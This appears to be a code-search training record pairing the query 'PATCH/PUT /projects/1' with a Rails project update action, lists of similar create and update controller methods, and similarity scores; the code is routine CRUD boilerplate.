"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n \n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @client = Client.find(params[:client_id])\n @project = @client.projects.build(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to client_projects_path(@client), notice: 'Project was successfully created.' }\n format.json { render json: client_projects_path(@client), status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: client_projects_path(@client).errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = current_user.projects.build(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to root_path, notice: 'Enhorabuena! Tienes un nuevo proyecto. A trabajar!' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.create project_params\n current_user.memberships.create(\n project_id: @project.id,\n owner_at: Time.now\n )\n\n if @project.save\n render 'projects/create', status: 201\n else\n render 'projects/error', status: 422\n end\n end",
"def create\n @project = @client.projects.build(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to(client_projects_url(@client), notice: 'Project was successfully created.') }\n format.xml { render xml: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.xml { render xml: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @create_project = current_user.projects.build(params[:project])\n flash[:notice] = \"Project #{@create_project.description} successfully created\" if @create_project.save\n respond_with(@create_project, layout: !request.xhr?)\n end",
"def new_project\n @request = Request.new(data_type: :project)\n @request.build_contact\n @request.build_project\n @request.build_general_information\n\n render 'new'\n end",
"def create\t\t\t\t\t\t\t\t\t# Creates record in db and redirects (porbably to index)\n\t\t@project = Project.new(projects_params)\t# Passes only title and desc.\n\n \trespond_to do |format|\t\t\t\t\t# All this is doing is rendering stuff in case of json\n \t\tif @project.save\n \t\tformat.html { redirect_to @project, notice: 'Created a new project!' }\n \t\tformat.json { render :show, status: :created, location: @project }\n \t\telse\n \t\tformat.html { render :new }\n \t\t\tformat.json { render json: @project.errors, status: :unprocessable_entity }\n \t\tend\n \tend\n\tend",
"def create\n if params[:project_id]\n cloned_from = Project.find(params[:project_id])\n @project = cloned_from.clone(params, @cur_user.id)\n else\n @cloned_project = nil\n @project = Project.new project_params\n @project.user_id = @cur_user.id\n end\n\n respond_to do |format|\n if @project.save\n format.html do\n redirect_to @project, notice: 'Project was successfully created.'\n end\n format.json do\n render json: @project.to_hash(false),\n status: :created, location: @project\n end\n else\n flash[:error] = @project.errors.full_messages\n format.html { redirect_to projects_path }\n format.json do\n render json: @project.errors, status: :unprocessable_entity\n end\n end\n end\n end",
"def create_project(key, name, params = {})\n params[:key] = key\n params[:name] = name\n post('projects', params)\n end",
"def create_project(optional={})\n\t\targs = self.class.new_params\n\t\targs[:method] = 'POST'\n\t\targs[:pattern] = '/projects'\n\t\targs[:query]['Action'] = 'CreateProject'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\targs[:scheme] = 'http'\n\t\tif optional.key? :project\n\t\t\targs[:body]['Project'] = optional[:project]\n\t\tend\n\t\tself.run(args)\n\tend",
"def projects\n resource 'projects'\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n build_projects_user\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n project_attrs = params[:project].merge(validate_repo_connectivity: true)\n @project = current_user.owned_projects.create(project_attrs, as: :owner)\n respond_with @project do |format|\n format.json do\n if @project.valid?\n render json: decorate(@project).to_json, status: :created\n else\n render json: {project: @project.errors.as_json}.to_json, status: :unprocessable_entity\n end\n end\n end\n end",
"def create\n @project = Project.new(params[:project])\n\t\[email protected]_id =current_user.id\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(params[:project])\n @project.skills = params[:skills]\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.create(project_params)\n if @project.errors.blank?\n flash[:success] = t('controllers.projects.create.success', project: @project.name)\n else\n flash.now[:alert] = @project.errors.full_messages.unshift(t('controllers.projects.create.failure'))\n end\n respond_with @project, location: projects_url\n end",
"def create\n @new_nav = true;\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n if params[:project_attachments]\n create_attachments\n end\n\n if params[:project_fields]\n create_fields\n end\n\n if params[:slider_objects]\n create_slider_objects\n end\n\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n @project.user = current_user\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n begin\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors.full_messages, status: :unprocessable_entity }\n end\n end\n rescue Exception => e\n @project.destroy\n respond_to do |format|\n format.html { render :new }\n format.json { render json: e.as_json, status: :service_unavailable }\n end\n end\n end",
"def project_create(global_options, options)\n result = Excon.post(\n \"#{global_options[:fenton_server_url]}/projects.json\",\n body: project_json(options),\n headers: { 'Content-Type' => 'application/json' }\n )\n\n [result.status, JSON.parse(result.body)]\n end",
"def create\n @project = Project.new(params[:project])\n\n respond_to do |format|\n if @project.save\n @project.user_projects.create(:user_id => current_user.id, :status => true, :role => 1)\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n respond_to do |format|\n if @project.save\n flash[:alert] = \"Project created successfully.\"\n format.html { redirect_back(fallback_location: root_path) }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n if is_organization_admin? and @project.save\n @project.team_members.create(user_id: @project.organization.owner_id)\n render json: {\n name: @project.name,\n organization: @project.organization.name,\n url: project_dashboard_path(@project.id)\n }\n else\n render json: @project.errors, status: :unprocessable_entity\n end\n end",
"def create\n @project = Project.new(project_params)\n\n if params[\"project\"][\"client_id\"] != \"\"\n @project.client = Client.find params[\"project\"][\"client_id\"]\n end\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Novo projeto cadastrado com sucesso.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = current_user.projects.create(params[:project])\n \n if @project.save\n record_activity(\"created new project: \" + @project.id.to_s)\n redirect_to root_path, :notice => \"Project created successfully\"\n else\n render 'new'\n end\n end",
"def create\n find_projects(params[:api_key])\n end",
"def create\n\n @project = Project.new(project_params)\n @project.user_id = current_user.id\n\n respond_to do |format|\n if @project.save\n\n format.html { redirect_to @project, success: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(:project_title => params[:project_title], :start_date => params[:startDate], :end_date => params[:endDate],\n :status => params[:project_status])\n\n @project.user_id = current_user.id\n\n\n respond_to do |format|\n if @project.save\n p \"pass on projects controller\"\n format.html { redirect_to @project}\n format.json { render json: \"ok\" }\n else\n p \"fail on projects controller\"\n end\n end\n\n\n end",
"def create_project_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ProjectApi.create_project ...'\n end\n # resource path\n local_var_path = '/projects'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(opts[:'create_project_body'])\n\n # return_type\n return_type = opts[:debug_return_type] || 'Project'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['oryAccessToken']\n\n new_options = opts.merge(\n :operation => :\"ProjectApi.create_project\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ProjectApi#create_project\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to :projects, notice: \"Project was successfully created.\" }\n format.json { render :show, status: :created, location: @project }\n else\n format.html do\n @teams = Team.order(:name)\n render :new\n end\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n @project.team.touch\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n render_errors(format, @project.errors, :new)\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to [:user, @project], notice: 'Project temp was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n render text: params[:project].inspect\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to projects_path, notice: 'Proyecto creado sastifactoriamente' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(params[:project])\n @project.status = \"Etat zero\"\n creator = current_user\n ProjectUser.create(:project => @project, :user => creator, :admin => true)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n @project.user_id = current_user.id\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = @projectable.projects.new(params[:project])\n\n respond_to do |format|\n if @project.save\n track_activity @project\n format.html { redirect_to [@projectable, @project], notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render layout: 'form', action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n #Acá se retorna de la vista New (o de cualquier lugar que llame a create con POST). Le llega el hash project_params con \n # los datos que retornó la vista.\n\n #Crea el nuevo usuario.\n @project = Project.new(project_params)\n\n respond_to do |format| #Esta linea es curiosa. Si el request le llegó por HTML, entonces fue un navegador. Si le llego\n #por JSON, entonces probablemente fue otra cosa, un app movil por ejemplo.\n if @project.save #Esto guarda el proyecto nuevo en la base de datos y retorna True si no hubo problema, y False si hubo un error.\n # Es importante notar que al llamar .save, primero pasa por el modelo, el cual revisa que no falte ningún dato.\n # Por ejemplo, si el modelo necesita que se incluya el nombre del proyecto, si o si, y no se le pasó el nombre,\n # Entonces el modelo va a guardar ese error en un hash llamado errors, dentro de el mismo (@projects.errors)\n # y va a hacer que .save retorne False.\n\n\n format.html { redirect_to :controller => \"misc\", :action =>\"about\", notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end"
] | [
"0.7338948",
"0.73139244",
"0.7308003",
"0.7299582",
"0.7227503",
"0.7225945",
"0.71982473",
"0.71170384",
"0.7104803",
"0.7095263",
"0.7070636",
"0.70408624",
"0.70358187",
"0.7024969",
"0.70191896",
"0.7009597",
"0.698481",
"0.697517",
"0.6963753",
"0.6963096",
"0.6948756",
"0.6948756",
"0.6948756",
"0.6948756",
"0.6948756",
"0.6948756",
"0.6948756",
"0.6948756",
"0.6948756",
"0.6944626",
"0.69397265",
"0.6938008",
"0.69204897",
"0.6911497",
"0.6908809",
"0.6907813",
"0.6894293",
"0.689054",
"0.68847734",
"0.6879909",
"0.68794346",
"0.6879012",
"0.68784195",
"0.6868972",
"0.68664163",
"0.68660194",
"0.68657774",
"0.68657774",
"0.68657774",
"0.68657774",
"0.68657774",
"0.68657774",
"0.68657774",
"0.68657774",
"0.68657774",
"0.68657774",
"0.68657774",
"0.68657774",
"0.68657774",
"0.68657774",
"0.68657774",
"0.6865554",
"0.68598175",
"0.6858278",
"0.6846567",
"0.6828604",
"0.68193066",
"0.6806436",
"0.678643",
"0.6784763",
"0.6773288",
"0.675545",
"0.67379624",
"0.6718913",
"0.6716745",
"0.67009157",
"0.66877806",
"0.6686259",
"0.668621",
"0.66856426",
"0.66838706",
"0.6680505",
"0.66770595",
"0.6670888",
"0.6668133",
"0.66572726",
"0.66528344",
"0.66518456",
"0.66511416",
"0.6649628",
"0.6649045",
"0.6642436",
"0.6638429",
"0.6634081",
"0.66324985",
"0.6629944",
"0.6628171",
"0.66263485",
"0.66259176",
"0.66255814"
] | 0.6750235 | 72 |
PATCH/PUT /projects/1 PATCH/PUT /projects/1.json | def update
if @project.update(project_params)
render :show, status: :ok, location: @project
else
render json: @project.errors, status: :unprocessable_entity
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update\n if @project.update(project_params)\n render json: @project, status: 200\n else\n render json: { errors: @project.errors.messages }, status: 200\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n if params[:name] == \"project_name\"\n project_name = params[:value]\n @project.project_name = project_name\n end\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n\n @projects = Project.all\n format.html {\n render :action => \"index\"\n }\n format.json { render json: @project }\n else\n logMessage = self.class.to_s + \"#\" + __method__.to_s + \" \" + current_user.username + \" errors:\" + @project.errors.full_messages.to_s\n logger.info logMessage\n\n format.html {\n flash[:error] = 'Project was not successfully updated.'\n redirect_to action: \"index\"\n }\n errorMsg = @project.errors.full_messages.to_s.split(\"\\\"\")\n format.json { render json: errorMsg[1], status: 500 }\n end\n end\n end",
"def update\n authorize! :update, @project\n\n if @project.update(project_params)\n head :no_content\n else\n render 'projects/error', status: 422\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, :notice => 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to projects_path, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to(@project, :notice => 'Project was successfully updated.') }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update_project\n\t\t@project = Project.find(params[:id])\n\n\t \trespond_to do |format|\n\t\t if @project.update_attributes(project_update_params)\n\t\t format.html { redirect_to(@project, :notice => 'Entry was successfully updated.') }\n\t\t format.json { respond_with_bip(@project) }\n\t\t else\n\t\t format.html { render :action => \"edit\" }\n\t\t format.json { respond_with_bip(@project) }\n\t\t end\n\n \t end\n\tend",
"def update\t\t\t\t\t\t\t\t\t# Actually modifies the data and redirects (probably to index or show? depends)\n\t\t#@project = Project.find(params[:id])\t# Taken out because of the before action GENIUS!\n\n\t\trespond_to do |format|\n \t\t if @project.update(projects_params)\n \t\tformat.html { redirect_to @project, notice: 'Project was successfully updated.' }\n \t\tformat.json { render :show, status: :ok, location: @project }\n \t\telse\n \t\tformat.html { render :edit }\n \t\tformat.json { render json: @project.errors, status: :unprocessable_entity }\n \t\tend\n \tend\n\tend",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = current_user.projects.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = @client.projects.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(project_params)\n format.html { redirect_to([@client, @project], notice: 'Project was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render action: \"edit\" }\n format.xml { render xml: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.json { render json: @project, status: 200 }\n else\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.json { render :show, status: :ok, location: @project }\n else\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\t\trespond_to do |format|\n\t\t\tif @project.update(project_params)\n\t\t\t\tformat.json { render :show, status: :ok }\n\t\t\telse\n\t\t\t\tformat.json { render json: @project.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def update\n @client = Client.find(params[:client_id])\n @project = Project.find(params[:id])\n \n respond_to do |format|\n if @project.update_attributes(project_params)\n format.html { redirect_to client_projects_path(@client), notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: client_projects_path(@client).errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { render json: @project.as_json(:include => [:client, :project_participants ] ) }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if project.update(project_params)\n format.html { redirect_to project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: project.errors, status: ':unprocessable_entity' }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to projects_path, notice: 'project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :ok }\n else\n @main_projects = Project.roots.where(creator_id: @project.creator_id)\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
